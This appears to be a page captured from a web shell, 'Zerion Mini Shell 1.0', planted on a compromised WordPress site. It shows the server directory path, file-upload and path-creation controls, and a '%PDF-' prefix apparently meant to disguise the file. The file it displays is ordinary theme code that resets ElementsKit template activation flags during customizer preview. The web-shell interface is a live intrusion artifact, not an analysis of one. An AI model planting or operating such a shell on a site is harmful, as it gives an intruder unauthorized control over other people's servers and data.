%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /var/www/html/higroup/wp-content/themes/evenex/core/hooks/
Upload File :
Create Path :
Current File : /var/www/html/higroup/wp-content/themes/evenex/core/hooks/header-loader.php

<?php

function evenex_header_builder_kit(){
    if(!is_customize_preview()){
        return;
    }

    $header_builder_enable = evenex_option('header_builder_enable');

    if($header_builder_enable=='yes'){
        $args = [
            'posts_per_page'   => -1,
            'orderby'          => 'id',
            'order'            => 'DESC',
            'post_status'      => 'publish',
            'post_type'        => 'elementskit_template',
            'meta_query' => [
                [
                    'key'     => 'elementskit_template_activation',
                    'value'   => 'yes',
                    'compare' => '=',
                ],
            ],
        ];
        $headers = get_posts($args);
        foreach($headers as $header){
            update_post_meta($header->ID, 'elementskit_template_activation', '');
        }
    }
}
add_action( 'wp_loaded', 'evenex_header_builder_kit' );

Zerion Mini Shell 1.0